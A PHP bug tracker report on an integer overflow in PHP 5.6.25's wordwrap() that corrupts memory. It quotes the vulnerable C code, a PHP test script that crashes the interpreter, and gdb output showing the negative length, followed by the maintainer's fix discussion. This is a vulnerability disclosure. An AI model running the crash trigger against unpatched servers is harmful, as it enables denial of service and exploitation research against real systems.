memory corruption in wordwrap function

Bug #73017 memory corruption in wordwrap function
Submitted: 2016-09-05 07:32 UTC Modified: 2017-02-13 01:25 UTC
From: minhrau dot vc dot 365 at gmail dot com Assigned: stas (profile)
Status: Closed Package: Strings related
PHP Version: 5.6.25 OS: ALL
Private report: No CVE-ID: None

 [2016-09-05 07:32 UTC] minhrau dot vc dot 365 at gmail dot com

Description:
------------
integer overflow cause memory corruption in wordwrap function:

PHP_FUNCTION(wordwrap)
{
	const char *text, *breakchar = "\n";
	char *newtext;
	int textlen, breakcharlen = 1, newtextlen, chk;
	size_t alloced;
	long current = 0, laststart = 0, lastspace = 0;
	long linelength = 75;
	zend_bool docut = 0;

	if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|lsb", &text, &textlen, &linelength, &breakchar, &breakcharlen, &docut) == FAILURE) {
		return;
	}
....

		RETURN_STRINGL(newtext, textlen, 0);
	} else {
		/* Multiple character line break or forced cut */
		if (linelength > 0) {
			chk = (int)(textlen/linelength + 1);
			newtext = safe_emalloc(chk, breakcharlen, textlen + 1);
			alloced = textlen + chk * breakcharlen + 1;
		} else {
			chk = textlen;
			alloced = textlen * (breakcharlen + 1) + 1;
			newtext = safe_emalloc(textlen, (breakcharlen + 1), 1);
		}

		/* now keep track of the actual new text length */
		newtextlen = 0;

		laststart = lastspace = 0;
...
			else if (current - laststart >= linelength
					&& laststart < lastspace) {
				memcpy(newtext+newtextlen, text+laststart, lastspace-laststart);//newtextlen will be negative and cause memory access violation
				newtextlen += lastspace - laststart;
				memcpy(newtext+newtextlen, breakchar, breakcharlen);
				newtextlen += breakcharlen;
				laststart = lastspace = lastspace + 1;
				chk--;
			}
		}

Test script:
---------------
<?php

ini_set('memory_limit', -1);

$text = "The quick brown fox jumped over the lazy dog.";
$str = str_repeat($text, 0xffffffff/(100*2*strlen($text)));

var_dump(strlen($str));

$str1 = wordwrap($str, 20, str_repeat("a", 0xff1));
?>

Expected result:
----------------
No Crash

Actual result:
--------------
Break at string.c:995 and make this command:

commands 1
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
p newtext+newtextlen
p text+laststart
p newtextlen
p laststart
p lastspace-laststart
c
end


Starting program: /home/minhrau/PHP-5.6.25/sapi/cli/php testwordwrap_negative.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
int(21474810)

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff0e0fe1a in __memcpy_avx_unaligned () from /usr/lib/libc.so.6
(gdb) bt
#0  0x00007ffff0e0fe1a in __memcpy_avx_unaligned () from /usr/lib/libc.so.6
#1  0x00000000008636dc in zif_wordwrap (ht=3, return_value=0x7ffff7fa0d68, return_value_ptr=0x7ffff7f6b140, this_ptr=0x0, return_value_used=1) at /home/minhrau/PHP-5.6.25/ext/standard/string.c:995
#2  0x00000000009d7844 in zend_do_fcall_common_helper_SPEC (execute_data=0x7ffff7f6b2b8) at /home/minhrau/PHP-5.6.25/Zend/zend_vm_execute.h:558
#3  0x00000000009df474 in ZEND_DO_FCALL_SPEC_CONST_HANDLER (execute_data=0x7ffff7f6b2b8) at /home/minhrau/PHP-5.6.25/Zend/zend_vm_execute.h:2602
#4  0x00000000009d5d37 in execute_ex (execute_data=0x7ffff7f6b2b8) at /home/minhrau/PHP-5.6.25/Zend/zend_vm_execute.h:363
#5  0x00000000009d6723 in zend_execute (op_array=0x7ffff7f9f858) at /home/minhrau/PHP-5.6.25/Zend/zend_vm_execute.h:388
#6  0x0000000000991c23 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /home/minhrau/PHP-5.6.25/Zend/zend.c:1341
#7  0x0000000000902b7f in php_execute_script (primary_file=0x7fffffffe2a0) at /home/minhrau/PHP-5.6.25/main/main.c:2613
#8  0x0000000000ab4902 in do_cli (argc=2, argv=0x1390960) at /home/minhrau/PHP-5.6.25/sapi/cli/php_cli.c:994
#9  0x0000000000ab5950 in main (argc=2, argv=0x1390960) at /home/minhrau/PHP-5.6.25/sapi/cli/php_cli.c:1378


Breakpoint 1, zif_wordwrap (ht=3, return_value=0x7ffff7fa2330, return_value_ptr=0x7ffff7f6c100, this_ptr=0x0, return_value_used=1) at /home/minhrau/PHP-5.6.25/ext/standard/string.c:995
995					memcpy(newtext+newtextlen, text+laststart, lastspace-laststart);
$2620156 = 0x7fff68af1e35 ""
$2620157 = 0x7fffefb71e35 "dog.The quick brown fox jumped over the lazy dog.The quick brown fox jumped over the lazy dog.The quick brown fox jumped over the lazy dog.The quick brown fox jumped over the lazy dog.The quick brown "...
$2620158 = 2147483141
$2620159 = 9432581
$2620160 = 19

Breakpoint 1, zif_wordwrap (ht=3, return_value=0x7ffff7fa2330, return_value_ptr=0x7ffff7f6c100, this_ptr=0x0, return_value_used=1) at /home/minhrau/PHP-5.6.25/ext/standard/string.c:995
995					memcpy(newtext+newtextlen, text+laststart, lastspace-laststart);
$2620161 = 0x7ffe68af2e39 <error: Cannot access memory at address 0x7ffe68af2e39>
$2620162 = 0x7fffefb71e49 "fox jumped over the lazy dog.The quick brown fox jumped over the lazy dog.The quick brown fox jumped over the lazy dog.The quick brown fox jumped over the lazy dog.The quick brown fox jumped over the "...
$2620163 = -2147480055
$2620164 = 9432601
$2620165 = 19

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff11ff7f8 in __memmove_avx_unaligned_erms () from /usr/lib/libc.so.6
(gdb)

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports

 [2016-09-06 01:11 UTC] stas@php.net

-Assigned To: +Assigned To: stas

 [2016-09-13 04:12 UTC] stas@php.net

-Status: Assigned +Status: Closed

 [2016-09-13 04:12 UTC] stas@php.net

The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2016-10-03 07:33 UTC] minhrau dot vc dot 365 at gmail dot com

-Status: Closed +Status: Assigned

 [2016-10-03 07:33 UTC] minhrau dot vc dot 365 at gmail dot com

Please check again this patch. The patch did not check anything related to crash point.

 [2016-10-03 07:34 UTC] minhrau dot vc dot 365 at gmail dot com

-Status: Assigned +Status: Open

 [2016-10-03 07:34 UTC] minhrau dot vc dot 365 at gmail dot com

open this again

 [2016-10-03 23:53 UTC] stas@php.net

Looks like there are more issues there, I'll take a look.

 [2016-10-04 01:07 UTC] stas@php.net

-Status: Assigned +Status: Closed

 [2017-02-13 01:25 UTC] stas@php.net

-Type: Security +Type: Bug